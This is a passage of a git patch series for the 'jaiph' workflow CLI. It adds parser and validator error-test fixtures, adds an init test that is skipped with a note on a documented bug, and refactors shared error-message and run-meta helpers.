parse-error cases for match-arm and const triple-quote trailing content and a const missing its equals sign, plus a validate-error case rejecting nested inline captures in log. No production code changed. Co-Authored-By: Claude Opus 4.8 (1M context) --- src/cli/commands/init.test.ts | 27 +++++++++++++++++ .../compiler-txtar/parse-errors-snapshot.json | 14 +++++++++ test-fixtures/compiler-txtar/parse-errors.txt | 30 +++++++++++++++++++ .../validate-diagnostics-snapshot.json | 9 ++++++ .../compiler-txtar/validate-errors.txt | 8 +++++ 5 files changed, 88 insertions(+) diff --git a/src/cli/commands/init.test.ts b/src/cli/commands/init.test.ts index 3602130d..a12d98b6 100644 --- a/src/cli/commands/init.test.ts +++ b/src/cli/commands/init.test.ts @@ -71,3 +71,30 @@ test("init: fails when .jaiph/bootstrap.jh exists with unexpected content", () = rmSync(dir, { recursive: true, force: true }); } }); + +test("init: rejects an existing non-directory path with a clean message", () => { + const dir = makeTempDir(); + try { + const filePath = join(dir, "not-a-dir.txt"); + writeFileSync(filePath, "x", "utf8"); + // Existing non-directory hits the guard at init.ts:53-55 (rc 1, no throw). + assert.equal(runInit([filePath]), 1); + } finally { + rmSync(dir, { recursive: true, force: true }); + } +}); + +// SKIPPED — exposes a production bug (see .jaiph/tmp/qa_bug_report.md, +// "jaiph init uncaught ENOENT on nonexistent path"): `statSync` at init.ts:52 +// has no try/catch, so a nonexistent path throws a raw ENOENT stack instead of +// the clean "expects a directory path" guard message. Fixing production code is +// out of scope for this test pass. Unskip once init.ts wraps statSync. +test("init: rejects a nonexistent path with a clean message", { skip: "blocked by uncaught-ENOENT bug — see qa_bug_report.md" }, () => { + const dir = makeTempDir(); + try { + const missing = join(dir, "does-not-exist-xyz"); + assert.equal(runInit([missing]), 1); + } finally { + rmSync(dir, { recursive: true, force: true }); + } +}); diff --git a/test-fixtures/compiler-txtar/parse-errors-snapshot.json b/test-fixtures/compiler-txtar/parse-errors-snapshot.json index 3c6e224c..65d9cb41 100644 --- a/test-fixtures/compiler-txtar/parse-errors-snapshot.json +++ b/test-fixtures/compiler-txtar/parse-errors-snapshot.json @@ -2063,5 +2063,19 @@ "col": 1, "code": "E_PARSE", "message": "module.* keys are not allowed in workflow-level config (only agent.* and run.* keys)" + }, + "match arm closing triple-quote with trailing content": { + "file": "input.jh", + "line": 6, + "col": 1, + "code": "E_PARSE", + "message": "closing \"\"\" in match arm must not have content on the same line" + }, + "top-level const without equals sign": { + "file": "input.jh", + "line": 1, + "col": 1, + "code": "E_PARSE", + "message": "invalid declaration — expected: const NAME = VALUE" } } diff --git a/test-fixtures/compiler-txtar/parse-errors.txt b/test-fixtures/compiler-txtar/parse-errors.txt index 34aa1a75..901c1033 100644 --- a/test-fixtures/compiler-txtar/parse-errors.txt +++ b/test-fixtures/compiler-txtar/parse-errors.txt @@ -2660,3 +2660,33 @@ workflow default() { } log "hi" } + +=== match arm closing triple-quote with trailing content +# @expect error E_PARSE "in match arm must not have content on the same line" @6:1 +--- input.jh +workflow default() { + const x = "hello" + return match x { + "a" => """ +body +""" oops + } +} + +=== top-level const without equals sign +# @expect error E_PARSE "invalid declaration" @1:1 +--- input.jh +const FOO +workflow default() { + log "hi" +} + +=== top-level const triple-quote with trailing content after close +# @expect error E_PARSE "in const declaration" @3:1 +--- input.jh +const FOO = """ +hi +""" trailing +workflow default() { + log "hi" +} diff --git a/test-fixtures/compiler-txtar/validate-diagnostics-snapshot.json b/test-fixtures/compiler-txtar/validate-diagnostics-snapshot.json index 9578aedb..86e6722e 100644 --- a/test-fixtures/compiler-txtar/validate-diagnostics-snapshot.json +++ b/test-fixtures/compiler-txtar/validate-diagnostics-snapshot.json @@ -935,6 +935,15 @@ "message": "script \"myscript\" cannot be called with run" } ], + "validate-errors.txt > log with nested inline capture rejected": [ + { + "file": "input.jh", + "line": 3, + "col": 3, + "code": "E_PARSE", + "message": "log cannot contain nested inline captures; extract to a const variable" + } + ], "validate-errors-multi-module.txt > duplicate import alias": [ { "file": "main.jh", diff --git a/test-fixtures/compiler-txtar/validate-errors.txt b/test-fixtures/compiler-txtar/validate-errors.txt index ed6159b6..3ebe4463 100644 --- a/test-fixtures/compiler-txtar/validate-errors.txt +++ b/test-fixtures/compiler-txtar/validate-errors.txt @@ -1091,3 +1091,11 @@ script myscript = `true` workflow default() { log "ok" } + +=== log with nested inline capture rejected +# @expect error E_PARSE "cannot contain nested inline captures" @3:3 +--- input.jh +script foo = `echo a` +workflow default() { + log "x ${run foo('${ensure y')}" +} From 66cbb30dc9dfa0bf6aba34b09cf6ee8f8ab82625 Mon Sep 17 00:00:00 2001 From: Jakub Dzikowski Date: Fri, 31 Jul 2026 00:58:15 +0200 Subject: [PATCH 07/86] Refactor: extract shared SINGLE_QUOTE_MESSAGE parse constant Replace 10 byte-identical single-quote error string literals across 7 parse modules with a shared core.ts constant, removing a 10-way drift hazard. Co-Authored-By: Claude Opus 4.8 --- src/parse/core.ts | 3 +++ src/parse/env.ts | 4 ++-- src/parse/imports.ts | 4 ++-- src/parse/match.ts | 6 +++--- src/parse/metadata.ts | 13 ++++++++++--- src/parse/prompt.ts | 6 +++--- src/parse/tests.ts | 3 ++- src/parse/workflow-brace.ts | 3 ++- 8 files changed, 27 insertions(+), 15 deletions(-) diff --git a/src/parse/core.ts b/src/parse/core.ts index a44b3c5a..2dfd97b3 100644 --- a/src/parse/core.ts +++ b/src/parse/core.ts @@ -5,6 +5,9 @@ export function fail(filePath: string, message: string, lineNo: number, col = 1) throw jaiphError(filePath, lineNo, col, "E_PARSE", message); } +export const SINGLE_QUOTE_MESSAGE = + 'single-quoted strings are not supported; use double quotes ("...") instead'; + export function stripQuotes(value: string): string { const trimmed = value.trim(); if (trimmed.length >= 2) { diff --git a/src/parse/env.ts b/src/parse/env.ts index da6d0c23..fb4ebb87 100644 --- a/src/parse/env.ts +++ b/src/parse/env.ts @@ -1,5 +1,5 @@ import type { EnvDeclDef } from "../types"; -import { fail, hasUnescapedClosingQuote, indexOfClosingDoubleQuote } from "./core"; +import { fail, SINGLE_QUOTE_MESSAGE, hasUnescapedClosingQuote, indexOfClosingDoubleQuote } from "./core"; import { parseTripleQuoteBlock } from "./triple-quote"; export function parseEnvDecl( @@ -54,7 +54,7 @@ export function parseEnvDecl( } if (valuePart.startsWith("'")) { - fail(filePath, 'single-quoted strings are not supported; use double quotes ("...") instead', lineNo); + fail(filePath, SINGLE_QUOTE_MESSAGE, lineNo); } // Bare value (rest of line) diff --git a/src/parse/imports.ts b/src/parse/imports.ts index 8392e248..0baabed4 100644 --- a/src/parse/imports.ts +++ b/src/parse/imports.ts @@ -1,5 +1,5 @@ import type { ImportDef, ScriptImportDef } from "../types"; -import { fail, stripQuotes } from "./core"; +import { fail, SINGLE_QUOTE_MESSAGE, stripQuotes } from "./core"; function parsePathAlias( filePath: string, @@ -15,7 +15,7 @@ function parsePathAlias( } const pathRaw = match[1].trim(); if (pathRaw.startsWith("'")) { - fail(filePath, 'single-quoted strings are not supported; use double quotes ("...") instead', lineNo); + fail(filePath, SINGLE_QUOTE_MESSAGE, lineNo); } return { path: stripQuotes(pathRaw), diff --git a/src/parse/match.ts b/src/parse/match.ts index fc642a5c..b874f225 100644 --- a/src/parse/match.ts +++ b/src/parse/match.ts @@ -1,5 +1,5 @@ import type { MatchArmDef, MatchExprDef, MatchPatternDef } from "../types"; -import { fail, indexOfClosingDoubleQuote, unescapeDoubleQuotedInner } from "./core"; +import { fail, SINGLE_QUOTE_MESSAGE, indexOfClosingDoubleQuote, unescapeDoubleQuotedInner } from "./core"; import { splitStatementsOnSemicolons } from "./statement-split"; import { tripleQuoteBodyToRaw, trimAdjacentBlankLines } from "./triple-quote"; @@ -40,7 +40,7 @@ function parsePattern(filePath: string, text: string, lineNo: number): { pattern return { pattern: { kind: "string_literal", value }, rest }; } if (t.startsWith("'")) { - fail(filePath, 'single-quoted strings are not supported; use double quotes ("...") instead', lineNo); + fail(filePath, SINGLE_QUOTE_MESSAGE, lineNo); } if (t.startsWith("/")) { // Find closing / (not escaped) @@ -119,7 +119,7 @@ function parseArmBody(filePath: string, text: string, lineNo: number): { body: s return { body: t.slice(0, closeIdx + 1), rest: t.slice(closeIdx + 1).trimStart() }; } if (t.startsWith("'")) { - fail(filePath, 'single-quoted strings are not supported; use double quotes ("...") instead', lineNo); + fail(filePath, SINGLE_QUOTE_MESSAGE, lineNo); } // Allow $var, ${var}, ${var.field}, or bare words up to end of line return { body: t, rest: "" }; diff --git a/src/parse/metadata.ts b/src/parse/metadata.ts index af8522ff..d4b7992c 100644 --- a/src/parse/metadata.ts +++ b/src/parse/metadata.ts @@ -1,6 +1,13 @@ import type { WorkflowMetadata } from "../types"; import type { Trivia, ConfigBodyPart } from "./trivia"; -import { colFromRaw, fail, isBareIdentifier, isJaiphInterpolationRef, unescapeConfigInner } from "./core"; +import { + colFromRaw, + fail, + isBareIdentifier, + isJaiphInterpolationRef, + SINGLE_QUOTE_MESSAGE, + unescapeConfigInner, +} from "./core"; import { validateJaiphStringContent } from "../transpile/validate-string"; import { ENV_KEY_RE, isReservedEnvKey } from "../env-reserved"; @@ -65,7 +72,7 @@ function parseMetadataValue(filePath: string, rawLine: string, valuePart: string return []; } if (trimmed.startsWith(`'`)) { - return fail(filePath, 'single-quoted strings are not supported; use double quotes ("...") instead', lineNo, colFromRaw(rawLine)); + return fail(filePath, SINGLE_QUOTE_MESSAGE, lineNo, colFromRaw(rawLine)); } if (trimmed.startsWith(`"`) && trimmed.endsWith(`"`)) { const content = unescapeConfigInner(trimmed.slice(1, -1)); @@ -148,7 +155,7 @@ function parseArrayValue( } if (element.startsWith(`'`)) { - return fail(filePath, 'single-quoted strings are not supported; use double quotes ("...") instead', lineNo, colFromRaw(raw)); + return fail(filePath, SINGLE_QUOTE_MESSAGE, lineNo, colFromRaw(raw)); } if (element.startsWith(`"`) && element.endsWith(`"`)) { result.push(unescapeConfigInner(element.slice(1, -1))); diff --git a/src/parse/prompt.ts b/src/parse/prompt.ts index 9e646d26..c100f604 100644 --- a/src/parse/prompt.ts +++ b/src/parse/prompt.ts @@ -1,6 +1,6 @@ import type { Expr, WorkflowStepDef } from "../types"; import { createTrivia, type Trivia } from "./trivia"; -import { fail, hasUnescapedClosingQuote, indexOfClosingDoubleQuote, isJaiphInterpolationRef } from "./core"; +import { fail, SINGLE_QUOTE_MESSAGE, hasUnescapedClosingQuote, indexOfClosingDoubleQuote, isJaiphInterpolationRef } from "./core"; import { dedentTripleQuotedBody, parseTripleQuoteBlock, tripleQuoteBodyToRaw } from "./triple-quote"; /** @@ -47,7 +47,7 @@ function splitPromptAndReturns( if (/^returns\s+'/.test(trimmed)) { fail( filePath, - 'single-quoted strings are not supported; use double quotes ("...") instead', + SINGLE_QUOTE_MESSAGE, lineNo, 1, ); @@ -107,7 +107,7 @@ export function parseReturnsClause( const returnsMatch = trimmed.match(/^returns\s+"/); if (!returnsMatch) { if (/^returns\s+'/.test(trimmed)) { - fail(filePath, 'single-quoted strings are not supported; use double quotes ("...") instead', lineNo, 1); + fail(filePath, SINGLE_QUOTE_MESSAGE, lineNo, 1); } fail( filePath, diff --git a/src/parse/tests.ts b/src/parse/tests.ts index ea7dd540..28c4e1ad 100644 --- a/src/parse/tests.ts +++ b/src/parse/tests.ts @@ -6,6 +6,7 @@ import { hasUnescapedClosingQuote, isRef, parseParamList, + SINGLE_QUOTE_MESSAGE, stripQuotes, unescapeDoubleQuotedInner, } from "./core"; @@ -160,7 +161,7 @@ export function parseTestBlock( continue; } if (arg.startsWith("'")) { - fail(filePath, 'single-quoted strings are not supported; use double quotes ("...") instead', innerNo, innerRaw.indexOf("mock")); + fail(filePath, SINGLE_QUOTE_MESSAGE, innerNo, innerRaw.indexOf("mock")); } // `mock prompt ` resolves the ident from a previously declared `const` in this block. if (/^[A-Za-z_][A-Za-z0-9_]*$/.test(arg)) { diff --git a/src/parse/workflow-brace.ts b/src/parse/workflow-brace.ts index ace20870..0a65aa2d 100644 --- a/src/parse/workflow-brace.ts +++ b/src/parse/workflow-brace.ts @@ -10,6 +10,7 @@ import { parseCallRef, parseLogMessageRhs, rejectTrailingContent, + SINGLE_QUOTE_MESSAGE, } from "./core"; import { consumeTripleQuotedArg, dedentTripleQuotedBody, tripleQuoteBodyToRaw } from "./triple-quote"; import { parseCallRefMultiline } from "./call-args"; @@ -625,7 +626,7 @@ function tryParseReturn(c: BlockCtx): BlockResult | null { fail(c.filePath, 'bare inline scripts in return are not allowed; use "return run `...`()" to execute a managed inline script', c.innerNo, retLoc.col); } if (returnValue.startsWith("'")) { - fail(c.filePath, 'single-quoted strings are not supported; use double quotes ("...") instead', c.innerNo, retLoc.col); + fail(c.filePath, SINGLE_QUOTE_MESSAGE, c.innerNo, retLoc.col); } if (/^[0-9]+$/.test(returnValue) || returnValue === "$?") { fail( From 0ae679541aaa2d4bfaa4e582e4176fac2dea19d6 Mon Sep 17 00:00:00 2001 From: Jakub Dzikowski Date: Fri, 31 Jul 2026 01:28:33 +0200 Subject: [PATCH 08/86] Refactor: extract shared errText and run-meta helpers Deduplicate repeated error-message extraction across CLI entrypoints and telemetry into a single errText helper in src/errors.ts. Extract the duplicated runner meta-file parsing and return_value.txt reading from run.ts and exec/call.ts into a new shared src/cli/shared/run-meta.ts module (readMetaFields, readReturnValue). Behavior is preserved. Co-Authored-By: Claude Opus 4.8 (1M context) --- src/cli/commands/compile.ts | 5 ++- src/cli/commands/format.ts | 3 +- src/cli/commands/mcp.ts | 13 ++++--- src/cli/commands/run.ts | 37 ++---------------- src/cli/commands/serve.ts | 17 ++++---- src/cli/exec/call.ts | 42 ++------------------ src/cli/index.ts | 7 ++-- src/cli/mcp/server.ts | 3 +- src/cli/run/hooks.ts | 3 +- src/cli/serve/handler.ts | 3 +- src/cli/serve/server.ts | 3 +- src/cli/shared/run-meta.ts | 43 +++++++++++++++++++++ src/cli/telemetry/otlp.ts | 3 +- src/cli/telemetry/sentry.ts | 3 +- src/errors.ts | 5 +++ src/runtime/kernel/node-workflow-runner.ts | 3 +- src/runtime/kernel/node-workflow-runtime.ts | 3 +- 17 files changed, 97 insertions(+), 99 deletions(-) create mode 100644 src/cli/shared/run-meta.ts diff --git a/src/cli/commands/compile.ts b/src/cli/commands/compile.ts index d216d0a2..f3a65c26 100644 --- a/src/cli/commands/compile.ts +++ b/src/cli/commands/compile.ts @@ -1,4 +1,5 @@ import { existsSync, statSync } from "node:fs"; +import { errText } from "../../errors"; import { dirname, resolve } from "node:path"; import { loadModuleGraph } from "../../transpile/module-graph"; import { collectDiagnostics } from "../../transpile/validate"; @@ -116,7 +117,7 @@ export function runCompile(args: string[]): number { line: 1, col: 1, code: "E_COMPILE", - message: err instanceof Error ? err.message : String(err), + message: errText(err), }; writeDiagnostics(json, [d ?? fallback]); return 1; @@ -142,7 +143,7 @@ export function runCompile(args: string[]): number { line: 1, col: 1, code: "E_COMPILE", - message: err instanceof Error ? err.message : String(err), + message: errText(err), }, ); } diff --git a/src/cli/commands/format.ts b/src/cli/commands/format.ts index 07293c28..e58148b8 100644 --- a/src/cli/commands/format.ts +++ b/src/cli/commands/format.ts @@ -1,4 +1,5 @@ import { readFileSync, writeFileSync } from "node:fs"; +import { errText } from "../../errors"; import { resolve } from "node:path"; import { parsejaiphWithTrivia } from "../../parser"; import { emitModule } from "../../format/emit"; @@ -70,7 +71,7 @@ export function runFormat(args: string[]): number { try { parsed = parsejaiphWithTrivia(source, abs); } catch (err) { - const msg = err instanceof Error ? err.message : String(err); + const msg = errText(err); process.stderr.write(`parse error: ${msg}\n`); return 1; } diff --git a/src/cli/commands/mcp.ts b/src/cli/commands/mcp.ts index 5d34a23d..54d3ee60 100644 --- a/src/cli/commands/mcp.ts +++ b/src/cli/commands/mcp.ts @@ -1,4 +1,5 @@ import { existsSync, mkdtempSync, rmSync, statSync } from "node:fs"; +import { errText } from "../../errors"; import { randomUUID } from "node:crypto"; import { tmpdir } from "node:os"; import { dirname, extname, join, resolve } from "node:path"; @@ -57,7 +58,7 @@ export async function runMcp(rest: string[]): Promise { try { parsed = parseArgs(rest, "mcp"); } catch (err) { - process.stderr.write(`${err instanceof Error ? err.message : String(err)}\n`); + process.stderr.write(`${errText(err)}\n`); return 1; } const { workspace, env, positional, inplace, unsafe, yes } = parsed; @@ -73,7 +74,7 @@ export async function runMcp(rest: string[]): Promise { try { extraEnv = resolveEnvPairs(env, process.env); } catch (err) { - process.stderr.write(`${err instanceof Error ? err.message : String(err)}\n`); + process.stderr.write(`${errText(err)}\n`); return 1; } const inputAbs = resolve(input); @@ -104,7 +105,7 @@ export async function runMcp(rest: string[]): Promise { } generations = createGenerationTracker(loaded.state); } catch (err) { - log(err instanceof Error ? err.message : String(err)); + log(errText(err)); rmSync(tempRoot, { recursive: true, force: true }); return 1; } @@ -117,7 +118,7 @@ export async function runMcp(rest: string[]): Promise { posture = resolveStartupPosture(generations.current(), inputAbs, workspaceRoot, log); logStartupPosture("jaiph mcp", "tool calls", posture, workspaceRoot, log); } catch (err) { - log(err instanceof Error ? err.message : String(err)); + log(errText(err)); rmSync(tempRoot, { recursive: true, force: true }); return 1; } @@ -166,7 +167,7 @@ export async function runMcp(rest: string[]): Promise { server.notifyToolsChanged(); log(`jaiph mcp: sources reloaded (${loaded.state.tools.length} tool(s))`); } catch (err) { - log(`jaiph mcp: reload failed; keeping the previous tool set: ${err instanceof Error ? err.message : String(err)}`); + log(`jaiph mcp: reload failed; keeping the previous tool set: ${errText(err)}`); } finally { reloading = false; } @@ -205,7 +206,7 @@ export async function runMcp(rest: string[]): Promise { const rl = createInterface({ input: process.stdin, terminal: false }); rl.on("line", (line) => { const p = server.handleLine(line).catch((err) => { - log(`jaiph mcp: ${err instanceof Error ? err.message : String(err)}`); + log(`jaiph mcp: ${errText(err)}`); }); inFlight.add(p); void p.finally(() => inFlight.delete(p)); diff --git a/src/cli/commands/run.ts b/src/cli/commands/run.ts index 45bbf6a4..1d7faafb 100644 --- a/src/cli/commands/run.ts +++ b/src/cli/commands/run.ts @@ -5,6 +5,7 @@ import { rmSync, statSync, } from "node:fs"; +import { errText } from "../../errors"; import { randomUUID } from "node:crypto"; import { tmpdir } from "node:os"; import { dirname, join, resolve, extname } from "node:path"; @@ -25,6 +26,7 @@ import { remapContainerPath, formatDockerTimeoutMessage, } from "../shared/errors"; +import { readMetaFields, readReturnValue } from "../shared/run-meta"; import { detectWorkspaceRoot } from "../shared/paths"; import { hasHelpFlag, parseArgs } from "../shared/usage"; @@ -409,7 +411,7 @@ export function shouldExportRawTelemetry(env: NodeJS.ProcessEnv): boolean { /** Write an error's message to stderr and return exit code 1. */ function failWith(err: unknown): 1 { - process.stderr.write(`${err instanceof Error ? err.message : String(err)}\n`); + process.stderr.write(`${errText(err)}\n`); return 1; } @@ -427,22 +429,6 @@ function reportPreflight(warnings: string[], errors: string[]): boolean { return false; } -/** Read `key=value` lines from a runner meta file; returns the trimmed value per requested key (absent when missing/empty). */ -function readMetaFields(metaFile: string, keys: readonly string[]): Record { - const out: Record = {}; - if (!existsSync(metaFile)) return out; - for (const line of readFileSync(metaFile, "utf8").split(/\r?\n/)) { - for (const key of keys) { - const prefix = `${key}=`; - if (line.startsWith(prefix)) { - const value = line.slice(prefix.length).trim(); - if (value) out[key] = value; - } - } - } - return out; -} - /** Read `run_dir=` from a runner meta file; undefined when absent/unwritten. */ function readRunDirFromMeta(metaFile: string): string | undefined { return readMetaFields(metaFile, ["run_dir"]).run_dir; @@ -638,7 +624,7 @@ async function reportResult( ); // Print workflow return value (if any) on its own line, separated by a blank line. // The runtime writes return_value.txt only when the default workflow returns a value. - const returnValue = readWorkflowReturnValue(runDir, sandboxRunDir); + const returnValue = readReturnValue(runDir, sandboxRunDir); if (returnValue !== undefined && returnValue.length > 0) { const trimmed = returnValue.endsWith("\n") ? returnValue.slice(0, -1) : returnValue; process.stdout.write(`\n${trimmed}\n`); @@ -692,18 +678,3 @@ async function reportResult( return resolvedStatus; } -function readWorkflowReturnValue( - runDir: string | undefined, - sandboxRunDir: string | undefined, -): string | undefined { - if (!runDir) return undefined; - const candidate = sandboxRunDir - ? remapContainerPath(join(runDir, "return_value.txt"), sandboxRunDir) - : join(runDir, "return_value.txt"); - if (!existsSync(candidate)) return undefined; - try { - return readFileSync(candidate, "utf8"); - } catch { - return undefined; - } -} diff --git a/src/cli/commands/serve.ts b/src/cli/commands/serve.ts index bf0de15c..8a2f26eb 100644 --- a/src/cli/commands/serve.ts +++ b/src/cli/commands/serve.ts @@ -1,4 +1,5 @@ import { existsSync, mkdtempSync, rmSync, statSync } from "node:fs"; +import { errText } from "../../errors"; import { tmpdir } from "node:os"; import { basename, dirname, extname, join, resolve } from "node:path"; import { detectWorkspaceRoot } from "../shared/paths"; @@ -110,7 +111,7 @@ export async function runServe(rest: string[]): Promise { try { parsed = parseArgs(rest, "serve"); } catch (err) { - process.stderr.write(`${err instanceof Error ? err.message : String(err)}\n`); + process.stderr.write(`${errText(err)}\n`); return 1; } const { workspace, env, positional, host: hostArg, port: portArg, inplace, unsafe, yes } = parsed; @@ -124,7 +125,7 @@ export async function runServe(rest: string[]): Promise { try { extraEnv = resolveEnvPairs(env, process.env); } catch (err) { - process.stderr.write(`${err instanceof Error ? err.message : String(err)}\n`); + process.stderr.write(`${errText(err)}\n`); return 1; } const inputAbs = resolve(input); @@ -200,7 +201,7 @@ export async function runServe(rest: string[]): Promise { maxOutputBytes = intEnv(process.env.JAIPH_SERVE_MAX_OUTPUT_BYTES, "JAIPH_SERVE_MAX_OUTPUT_BYTES", DEFAULT_MAX_OUTPUT_BYTES, 1); maxArtifactBytes = intEnv(process.env.JAIPH_SERVE_MAX_ARTIFACT_BYTES, "JAIPH_SERVE_MAX_ARTIFACT_BYTES", DEFAULT_MAX_ARTIFACT_BYTES, 0); } catch (err) { - process.stderr.write(`${err instanceof Error ? err.message : String(err)}\n`); + process.stderr.write(`${errText(err)}\n`); return 1; } const outputCaps: OutputCaps = { @@ -227,7 +228,7 @@ export async function runServe(rest: string[]): Promise { } generations = createGenerationTracker(loaded.state); } catch (err) { - log(err instanceof Error ? err.message : String(err)); + log(errText(err)); rmSync(tempRoot, { recursive: true, force: true }); return 1; } @@ -239,7 +240,7 @@ export async function runServe(rest: string[]): Promise { hostRunsRoot = posture.hostRunsRoot; logStartupPosture("jaiph serve", "runs", posture, workspaceRoot, log); } catch (err) { - log(err instanceof Error ? err.message : String(err)); + log(errText(err)); rmSync(tempRoot, { recursive: true, force: true }); return 1; } @@ -258,7 +259,7 @@ export async function runServe(rest: string[]): Promise { log(`jaiph serve: reconstructed ${initialRuns.length} run(s) from ${hostRunsRoot}`); } } catch (err) { - log(`jaiph serve: could not reconstruct prior runs: ${err instanceof Error ? err.message : String(err)}`); + log(`jaiph serve: could not reconstruct prior runs: ${errText(err)}`); } const handler = new ServeHandler({ @@ -324,7 +325,7 @@ export async function runServe(rest: string[]): Promise { watcher.rewatch([...loaded.state.graph.modules.keys()]); log(`jaiph serve: sources reloaded (${loaded.state.tools.length} workflow(s))`); } catch (err) { - log(`jaiph serve: reload failed; keeping the previous workflows: ${err instanceof Error ? err.message : String(err)}`); + log(`jaiph serve: reload failed; keeping the previous workflows: ${errText(err)}`); } finally { reloading = false; } @@ -337,7 +338,7 @@ export async function runServe(rest: string[]): Promise { try { boundPort = await listen(httpServer, host, port); } catch (err) { - log(`jaiph serve: failed to listen on ${host}:${port}: ${err instanceof Error ? err.message : String(err)}`); + log(`jaiph serve: failed to listen on ${host}:${port}: ${errText(err)}`); watcher.stop(); rmSync(tempRoot, { recursive: true, force: true }); return 1; diff --git a/src/cli/exec/call.ts b/src/cli/exec/call.ts index 848078f4..4a362de1 100644 --- a/src/cli/exec/call.ts +++ b/src/cli/exec/call.ts @@ -1,4 +1,3 @@ -import { existsSync, readFileSync } from "node:fs"; import { join } from "node:path"; import type { ChildProcess } from "node:child_process"; import type { JaiphConfig } from "../../config"; @@ -21,7 +20,8 @@ import { type DockerRunConfig, type SandboxMode, } from "../../runtime/docker"; -import { discoverDockerRunDir, remapContainerPath } from "../shared/errors"; +import { discoverDockerRunDir } from "../shared/errors"; +import { readMetaFields, readReturnValue } from "../shared/run-meta"; import { deliverRunTelemetryDetached } from "../telemetry/otlp"; import { redactCredentials } from "../../runtime/kernel/redact"; @@ -295,8 +295,8 @@ async function callWorkflowHost( const exit = await waitForRunExit(child); collector.drain(); - const meta = readMetaFile(metaFile); - return composeResult(workflowSymbol, collector.data, exit, meta.runDir, undefined, runtimeEnv, caps); + const runDir = readMetaFields(metaFile, ["run_dir"]).run_dir; + return composeResult(workflowSymbol, collector.data, exit, runDir, undefined, runtimeEnv, caps); } /** @@ -527,40 +527,6 @@ export function composeResult( }; } -function readMetaFile(metaFile: string): { runDir?: string; summaryFile?: string } { - if (!existsSync(metaFile)) return {}; - const out: { runDir?: string; summaryFile?: string } = {}; - for (const line of readFileSync(metaFile, "utf8").split(/\r?\n/)) { - if (line.startsWith("run_dir=")) { - const value = line.slice("run_dir=".length).trim(); - if (value) out.runDir = value; - } - if (line.startsWith("summary_file=")) { - const value = line.slice("summary_file=".length).trim(); - if (value) out.summaryFile = value; - } - } - return out; -} - -/** - * Read a run's `return_value.txt`. In Docker mode `runDir` is discovered from - * the host-side sandbox runs mount, so `remapContainerPath` normalizes any - * container-internal prefix to the host path before reading. - */ -function readReturnValue(runDir: string | undefined, sandboxRunDir: string | undefined): string | undefined { - if (!runDir) return undefined; - const candidate = sandboxRunDir - ? remapContainerPath(join(runDir, "return_value.txt"), sandboxRunDir) - : join(runDir, "return_value.txt"); - if (!existsSync(candidate)) return undefined; - try { - return readFileSync(candidate, "utf8"); - } catch { - return undefined; - } -} - function trimTrailingNewline(text: string): string { return text.endsWith("\n") ? text.slice(0, -1) : text; } diff --git a/src/cli/index.ts b/src/cli/index.ts index 83580582..abdf6657 100644 --- a/src/cli/index.ts +++ b/src/cli/index.ts @@ -1,4 +1,5 @@ import { existsSync } from "node:fs"; +import { errText } from "../errors"; import { resolve } from "node:path"; import { printUsage } from "./shared/usage"; import { runWorkflow } from "./commands/run"; @@ -22,7 +23,7 @@ export async function main(argv: string[]): Promise { try { return await runWorkflowRunner(rest); } catch (error) { - const message = error instanceof Error ? error.message : String(error); + const message = errText(error); process.stderr.write(`jaiph node runner: ${message}\n`); return 1; } @@ -77,7 +78,7 @@ export async function main(argv: string[]): Promise { printUsage(); return 1; } catch (error) { - const message = error instanceof Error ? error.message : String(error); + const message = errText(error); process.stderr.write(`${message}\n`); return 1; } @@ -89,7 +90,7 @@ export function runCli(argv: string[]): void { process.exit(code); }) .catch((error) => { - const message = error instanceof Error ? error.message : String(error); + const message = errText(error); process.stderr.write(`${message}\n`); process.exit(1); }); diff --git a/src/cli/mcp/server.ts b/src/cli/mcp/server.ts index 752d48a1..559d745b 100644 --- a/src/cli/mcp/server.ts +++ b/src/cli/mcp/server.ts @@ -1,4 +1,5 @@ import { AsyncLocalStorage } from "node:async_hooks"; +import { errText } from "../../errors"; import type { McpToolSpec } from "./tools"; /** @@ -264,7 +265,7 @@ export class McpServer { }); } catch (err) { if (entry.cancelled) return; - const message = err instanceof Error ? err.message : String(err); + const message = errText(err); this.opts.log(`jaiph mcp: tool "${spec.name}" crashed: ${message}`); this.writeError(id, JSONRPC_INTERNAL_ERROR, `tool "${spec.name}" failed: ${message}`); } finally { diff --git a/src/cli/run/hooks.ts b/src/cli/run/hooks.ts index 0262bb03..7ed1b9a0 100644 --- a/src/cli/run/hooks.ts +++ b/src/cli/run/hooks.ts @@ -1,4 +1,5 @@ import { existsSync, readFileSync } from "node:fs"; +import { errText } from "../../errors"; import { homedir } from "node:os"; import { join } from "node:path"; import { spawn } from "node:child_process"; @@ -161,7 +162,7 @@ export function runHooksForEvent( } }); } catch (err) { - const message = err instanceof Error ? err.message : String(err); + const message = errText(err); process.stderr.write(`jaiph hooks: failed to run ${cmd}: ${message}\n`); } } diff --git a/src/cli/serve/handler.ts b/src/cli/serve/handler.ts index e7f126a6..058118c9 100644 --- a/src/cli/serve/handler.ts +++ b/src/cli/serve/handler.ts @@ -1,4 +1,5 @@ import { randomUUID } from "node:crypto"; +import { errText } from "../../errors"; import { AsyncLocalStorage } from "node:async_hooks"; import { statSync } from "node:fs"; import { basename, join } from "node:path"; @@ -742,7 +743,7 @@ export class ServeHandler { private finalizeError(record: RunRecord, err: unknown): void { record.ended_at = this.opts.now(); - record.result_text = err instanceof Error ? err.message : String(err); + record.result_text = errText(err); record.status = record.cancelled ? "cancelled" : "failed"; this.opts.persistRun?.(record); this.evictCompleted(); diff --git a/src/cli/serve/server.ts b/src/cli/serve/server.ts index 76b14b08..b352b3ac 100644 --- a/src/cli/serve/server.ts +++ b/src/cli/serve/server.ts @@ -1,4 +1,5 @@ import { createServer, type IncomingMessage, type Server, type ServerResponse } from "node:http"; +import { errText } from "../../errors"; import type { AddressInfo } from "node:net"; import { createReadStream } from "node:fs"; import { pipeline } from "node:stream"; @@ -51,7 +52,7 @@ export function createHttpServer(handler: ServeHandler, log: (line: string) => v return undefined; }) .catch((err) => { - log(`jaiph serve: request handling failed: ${err instanceof Error ? err.message : String(err)}`); + log(`jaiph serve: request handling failed: ${errText(err)}`); if (!res.headersSent) { res.writeHead(500, { "content-type": "application/json" }); } diff --git a/src/cli/shared/run-meta.ts b/src/cli/shared/run-meta.ts new file mode 100644 index 00000000..150b2ce3 --- /dev/null +++ b/src/cli/shared/run-meta.ts @@ -0,0 +1,43 @@ +import { existsSync, readFileSync } from "node:fs"; +import { join } from "node:path"; +import { remapContainerPath } from "./errors"; + +/** + * Read selected `key=value` fields from a runner meta file. Returns an empty + * object when the file is absent/unwritten; only non-empty values are included. + */ +export function readMetaFields(metaFile: 